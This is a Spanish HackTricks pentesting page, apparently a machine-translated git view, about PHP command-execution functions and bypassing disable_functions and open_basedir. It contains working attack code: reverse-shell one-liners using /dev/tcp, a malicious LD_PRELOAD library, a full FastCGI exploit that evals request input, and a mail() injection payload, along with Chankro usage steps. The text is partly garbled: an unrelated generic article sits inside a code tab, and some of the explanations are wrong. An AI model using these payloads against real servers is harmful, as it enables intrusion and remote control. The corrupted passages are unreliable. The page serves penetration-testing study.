hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md

704 lines
32 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# PHP - Funciones útiles y bypass de disable\_functions/open\_basedir
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Ejecución de comandos y código PHP
### Ejecución de comandos PHP
**exec** - Devuelve la última línea de la salida de los comandos
```bash
echo exec("uname -a");
```
**passthru** - Pasa la salida de comandos directamente al navegador.
```bash
echo passthru("uname -a");
```
**system** - Pasa la salida de los comandos directamente al navegador y devuelve la última línea.
```bash
echo system("uname -a");
```
**shell\_exec** - Devuelve la salida de los comandos
```bash
echo shell_exec("uname -a");
```
\`\` (backticks) - Lo mismo que shell\_exec()
```bash
echo `uname -a`
```
**popen** - Abre un tubo de lectura o escritura hacia un proceso de un comando.
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
**proc\_open** - Similar a popen() pero con un mayor grado de control.
```bash
proc_close(proc_open("uname -a",array(),$something));
```
**preg\_replace**
La función `preg_replace` es una función de PHP que se utiliza para buscar y reemplazar texto utilizando expresiones regulares. Esta función es muy útil para realizar operaciones de búsqueda y reemplazo en cadenas de texto complejas.
La sintaxis básica de la función `preg_replace` es la siguiente:
```php
preg_replace($pattern, $replacement, $subject);
```
Donde `$pattern` es la expresión regular que se utilizará para buscar el texto, `$replacement` es el texto que se utilizará para reemplazar el texto encontrado y `$subject` es la cadena de texto en la que se realizará la búsqueda y el reemplazo.
Es importante tener en cuenta que la función `preg_replace` puede ser utilizada para realizar ataques de inyección de código si no se utiliza de manera segura. Por lo tanto, es recomendable deshabilitar esta función en entornos de producción utilizando la directiva `disable_functions` o la directiva `open_basedir`.
```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```
**pcntl\_exec** - Ejecuta un programa (por defecto en PHP moderno y no tan moderno, necesitas cargar el módulo `pcntl.so` para usar esta función)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb\_send\_mail** - Esta función se utiliza para enviar correos electrónicos, pero también se puede abusar de ella para inyectar comandos arbitrarios dentro del parámetro `$options`. Esto se debe a que la **función `mail` de php** suele llamar al binario `sendmail` dentro del sistema y permite **poner opciones adicionales**. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y mostrar la salida:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
**dl** - Esta función se puede utilizar para cargar dinámicamente una extensión de PHP. Esta función no siempre estará presente, por lo que debe verificar si está disponible antes de intentar explotarla. Lee [esta página para aprender cómo explotar esta función](disable\_functions-bypass-dl-function.md).
### Ejecución de código PHP
Aparte de eval, hay otras formas de ejecutar código PHP: include/require se pueden utilizar para la ejecución remota de código en forma de vulnerabilidades de inclusión de archivos locales y remotos.\
**${\<php code>}** - Si su entrada se refleja en cualquier cadena PHP, se ejecutará.\
**eval()**\
**assert()** - idéntico a eval()\
**preg\_replace('/.\*/e',...)** - /e hace un eval() en la coincidencia\
**create\_function()** - Crea una función y usa eval()\
**include()**\
**include\_once()**\
**require()**\
**require\_once()**\
**$\_GET\['func\_name']\($\_GET\['argument']);**\
**$func = new ReflectionFunction($\_GET\['func\_name']);**\
**$func->invoke();** o\
**$func->invokeArgs(array());**\
**serialize/unserialize**
## disable\_functions & open\_basedir
**Las funciones deshabilitadas** son la configuración que se puede configurar en los archivos `.ini` en PHP que **prohibirán** el uso de las **funciones** indicadas. **Open basedir** es la configuración que indica a PHP la carpeta a la que puede acceder.\
La configuración de PHP solía configurarse en la ruta _/etc/php7/conf.d_ o similar.
Ambas configuraciones se pueden ver en la salida de **`phpinfo()`**:
![](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
![](<../../../../.gitbook/assets/image (347).png>)
## open\_basedir Bypass
`open_basedir` configurará las carpetas a las que PHP puede acceder, no podrá escribir/leer/ejecutar ningún archivo fuera de esas carpetas, pero tampoco podrá listar otros directorios.\
Sin embargo, si de alguna manera puede ejecutar código PHP arbitrario, puede **intentar** el siguiente fragmento de **código** para intentar **burlar** la restricción.
### Listando directorios con bypass glob://
En este primer ejemplo se utiliza el protocolo `glob://` con algún bypass de ruta:
```php
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
```
**Nota1**: En la ruta también se puede usar `/e??/*` para listar `/etc/*` y cualquier otra carpeta.\
**Nota2**: Parece que parte del código está duplicado, ¡pero en realidad es necesario!\
**Nota3**: Este ejemplo solo es útil para listar carpetas, no para leer archivos.
### Bypass completo de open\_basedir abusando de FastCGI
Si desea **aprender más sobre PHP-FPM y FastCGI**, puede leer la [primera sección de esta página](disable\_functions-bypass-php-fpm-fastcgi.md).\
Si **`php-fpm`** está configurado, puede abusar de él para evitar completamente **open\_basedir**:
![](<../../../../.gitbook/assets/image (350).png>)
![](<../../../../.gitbook/assets/image (349).png>)
Tenga en cuenta que lo primero que debe hacer es encontrar dónde está el **socket unix de php-fpm**. Por lo general, se encuentra en `/var/run`, por lo que puede **usar el código anterior para listar el directorio y encontrarlo**.\
Código de [aquí](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
```php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
```
Este script se comunicará con el **socket Unix de php-fpm** (generalmente ubicado en /var/run si se utiliza fpm) para ejecutar código arbitrario. La configuración de `open_basedir` será sobrescrita por el atributo **PHP\_VALUE** que se envía.\
Observe cómo se utiliza `eval` para ejecutar el código PHP que se envía dentro del parámetro **cmd**.\
También observe la **línea 324 comentada**, puede descomentarla y el **payload se conectará automáticamente a la URL dada y ejecutará el código PHP** contenido allí.\
Simplemente acceda a `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` para obtener el contenido del archivo `/etc/passwd`.
{% hint style="warning" %}
Puede estar pensando que de la misma manera en que hemos sobrescrito la configuración de `open_basedir`, podemos **sobrescribir `disable_functions`**. Bueno, inténtelo, pero no funcionará, aparentemente **`disable_functions` solo se puede configurar en un archivo de configuración `.ini` de php** y los cambios que realice usando PHP\_VALUE no serán efectivos en esta configuración específica.
{% endhint %}
## Bypass de disable\_functions
Si logra tener código PHP ejecutándose dentro de una máquina, probablemente querrá pasar al siguiente nivel y **ejecutar comandos del sistema arbitrarios**. En esta situación, es habitual descubrir que la mayoría o todas las **funciones** de PHP que permiten **ejecutar comandos del sistema han sido deshabilitadas** en **`disable_functions`.**\
Entonces, veamos cómo puede evitar esta restricción (si puede).
### Descubrimiento automático de bypass
Puede utilizar la herramienta [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) y le indicará qué función (si hay alguna) puede usar para **bypass** **`disable_functions`**.
### Bypass utilizando otras funciones del sistema
Simplemente vuelva al principio de esta página y **verifique si alguna de las funciones que ejecutan comandos no está deshabilitada y está disponible en el entorno**. Si encuentra al menos una, podrá usarla para ejecutar comandos del sistema arbitrarios.
### Bypass de LD\_PRELOAD
Es bien sabido que algunas funciones en PHP como `mail()` van a **ejecutar binarios dentro del sistema**. Por lo tanto, puede abusar de ellas utilizando la variable de entorno `LD_PRELOAD` para hacer que carguen una biblioteca arbitraria que pueda ejecutar cualquier cosa.
#### Funciones que se pueden usar para bypass de disable\_functions con LD\_PRELOAD
1. `mail`
2. `mb_send_mail`: Si su sistema tiene instalado el módulo `php-mbstring`, entonces esta función se puede usar para evitar las `disable_functions` de PHP.
3. `imap_mail`: Si su sistema tiene instalado el módulo `php-imap`, entonces esta función también se puede usar para evitar las `disable_functions` de PHP.
4. `libvirt_connect`: Si su sistema tiene instalado el módulo `php-libvirt-php`, entonces esta función también se puede usar para evitar las `disable_functions`.
5. `gnupg_init`: Si su sistema tiene instalado el módulo `php-gnupg`, entonces esta función también se puede usar para evitar las `disable_functions`.
6. `new imagick()`: Puede [**encontrar aquí un writeup**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) para aprender cómo abusar de esta clase.
Puede encontrar [**aquí**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) el script de fuzzing que se utilizó para encontrar esas funciones.
Aquí hay una biblioteca que puede compilar para abusar de la variable de entorno `LD_PRELOAD`:
```php
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
```
#### Bypass usando Chankro
Para aprovechar esta mala configuración, puedes usar [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta es una herramienta que generará un **exploit de PHP** que debes cargar en el servidor vulnerable y ejecutarlo (acceder a él a través de la web).\
**Chankro** escribirá en el disco del servidor víctima la **biblioteca y la shell inversa** que deseas ejecutar y utilizará el truco de **`LD_PRELOAD` + la función `mail()` de PHP** para ejecutar la shell inversa.
Ten en cuenta que para usar **Chankro**, `mail` y `putenv` **no pueden aparecer en la lista de `disable_functions`**.\
En el siguiente ejemplo puedes ver cómo **crear un exploit de chankro** para **arch 64**, que ejecutará `whoami` y guardará la salida en _/tmp/chankro\_shell.out_, chankro escribirá la **biblioteca y el payload** en _/tmp_ y el **exploit final** se llamará **bicho.php** (ese es el archivo que debes cargar en el servidor víctima):
{% tabs %}
{% tab title="shell.sh" %}
```php
#!/bin/sh
whoami > /tmp/chankro_shell.out
```
{% endtab %}
{% tab title="Español" %}
# Funciones útiles de PHP para bypass de `disable_functions` y `open_basedir`
## Introducción
En algunas situaciones, cuando se está realizando una prueba de penetración, se puede encontrar que la función `disable_functions` de PHP está habilitada en el servidor. Esta función se utiliza para deshabilitar ciertas funciones de PHP que pueden ser peligrosas o inseguras. Por ejemplo, la función `exec()` se utiliza para ejecutar comandos en el sistema operativo subyacente, lo que puede ser peligroso si se utiliza de manera incorrecta. Si `exec()` está en la lista de funciones deshabilitadas, no se podrá utilizar en el código PHP.
Otra restricción común que se encuentra en los servidores web es la configuración `open_basedir`. Esta configuración limita el acceso del código PHP a un conjunto específico de directorios en el sistema de archivos. Si se intenta acceder a un archivo fuera de estos directorios, se producirá un error.
En este artículo, se presentan algunas funciones útiles de PHP que se pueden utilizar para eludir estas restricciones.
## Funciones útiles
### `dl()`
La función `dl()` se utiliza para cargar una extensión de PHP en tiempo de ejecución. Si la función `dl()` no está deshabilitada, se puede utilizar para cargar una extensión que permita la ejecución de comandos en el sistema operativo subyacente.
```php
dl("nombre_de_la_extension.so");
```
### `proc_open()`
La función `proc_open()` se utiliza para ejecutar un comando en el sistema operativo subyacente y obtener un controlador de proceso para interactuar con él. Si la función `exec()` está deshabilitada, se puede utilizar `proc_open()` para ejecutar comandos en el sistema operativo subyacente.
```php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin es una tubería donde el proceso va a leer
1 => array("pipe", "w"), // stdout es una tubería donde el proceso va a escribir
2 => array("pipe", "w") // stderr es una tubería donde el proceso va a escribir
);
$process = proc_open("comando_a_ejecutar", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "entrada_para_el_comando\n");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
echo stream_get_contents($pipes[2]);
fclose($pipes[2]);
$return_value = proc_close($process);
}
```
### `popen()`
La función `popen()` se utiliza para ejecutar un comando en el sistema operativo subyacente y obtener un controlador de archivo para interactuar con él. Si la función `exec()` está deshabilitada, se puede utilizar `popen()` para ejecutar comandos en el sistema operativo subyacente.
```php
$handle = popen("comando_a_ejecutar", "r");
echo fread($handle, 8192);
pclose($handle);
```
### `system()`
La función `system()` se utiliza para ejecutar un comando en el sistema operativo subyacente y mostrar la salida. Si la función `exec()` está deshabilitada, se puede utilizar `system()` para ejecutar comandos en el sistema operativo subyacente.
```php
system("comando_a_ejecutar");
```
### `passthru()`
La función `passthru()` se utiliza para ejecutar un comando en el sistema operativo subyacente y mostrar la salida directamente en el navegador. Si la función `exec()` está deshabilitada, se puede utilizar `passthru()` para ejecutar comandos en el sistema operativo subyacente.
```php
passthru("comando_a_ejecutar");
```
### `shell_exec()`
La función `shell_exec()` se utiliza para ejecutar un comando en el sistema operativo subyacente y devolver la salida como una cadena. Si la función `exec()` está deshabilitada, se puede utilizar `shell_exec()` para ejecutar comandos en el sistema operativo subyacente.
```php
echo shell_exec("comando_a_ejecutar");
```
### `escapeshellcmd()`
La función `escapeshellcmd()` se utiliza para escapar los caracteres especiales en un comando que se va a ejecutar en el sistema operativo subyacente. Esto es importante para evitar la inyección de comandos. Si la función `exec()` está deshabilitada, se puede utilizar `escapeshellcmd()` para escapar los caracteres especiales en un comando que se va a ejecutar.
```php
$command = escapeshellcmd($_GET["command"]);
system($command);
```
### `escapeshellarg()`
La función `escapeshellarg()` se utiliza para escapar los caracteres especiales en un argumento que se va a pasar a un comando que se va a ejecutar en el sistema operativo subyacente. Esto es importante para evitar la inyección de comandos. Si la función `exec()` está deshabilitada, se puede utilizar `escapeshellarg()` para escapar los caracteres especiales en un argumento que se va a pasar a un comando que se va a ejecutar.
```php
$arg = escapeshellarg($_GET["arg"]);
system("comando_a_ejecutar " . $arg);
```
## Conclusión
En este artículo, se han presentado algunas funciones útiles de PHP que se pueden utilizar para eludir las restricciones de `disable_functions` y `open_basedir`. Es importante tener en cuenta que estas funciones pueden ser peligrosas si se utilizan de manera incorrecta y que se deben utilizar con precaución.
```bash
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
```
{% endtab %}
{% endtabs %}
Si encuentra que la función **mail** está bloqueada por funciones deshabilitadas, aún puede usar la función **mb\_send\_mail**.\
Más información sobre esta técnica y Chankro aquí: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/)
### "Bypass" usando las capacidades de PHP
Tenga en cuenta que usando **PHP** puede **leer y escribir archivos, crear directorios y cambiar permisos**.\
Incluso puede **volcar bases de datos**.\
Tal vez usando **PHP** para **enumerar** la caja, puede encontrar una manera de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada).
He creado una webshell que hace que sea muy fácil realizar estas acciones (tenga en cuenta que la mayoría de las webshells también le ofrecerán estas opciones): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
### Bypasses dependientes de módulos/versiones
Hay varias formas de evitar las funciones deshabilitadas si se está utilizando algún módulo específico o explotar alguna versión específica de PHP:
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
* [**Bypass con FFI - Interfaz de Función Externa habilitada**](broken-reference/)
* [**Bypass a través de mem**](disable\_functions-bypass-via-mem.md)
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
* [**Extensión segura de Perl de PHP**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
* [**Función dl**](disable\_functions-bypass-dl-function.md)
* [**Este exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
* 5.\* - explotable con cambios menores en el PoC
* 7.0 - todas las versiones hasta la fecha
* 7.1 - todas las versiones hasta la fecha
* 7.2 - todas las versiones hasta la fecha
* 7.3 - todas las versiones hasta la fecha
* 7.4 - todas las versiones hasta la fecha
* 8.0 - todas las versiones hasta la fecha
* [**Desde la versión 7.0 hasta la 8.0 (solo Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
* [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
* [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
* [**PHP 5.x Shellsock**](disable\_functions-php-5.x-shellshock-exploit.md)
* [**PHP 5.2.4 ionCube**](disable\_functions-php-5.2.4-ioncube-extension-exploit.md)
* [**PHP <= 5.2.9 Windows**](disable\_functions-bypass-php-less-than-5.2.9-on-windows.md)
* [**PHP 5.2.4/5.2.5 cURL**](disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
* [**PHP 5.2.3 -Win32std**](disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
* [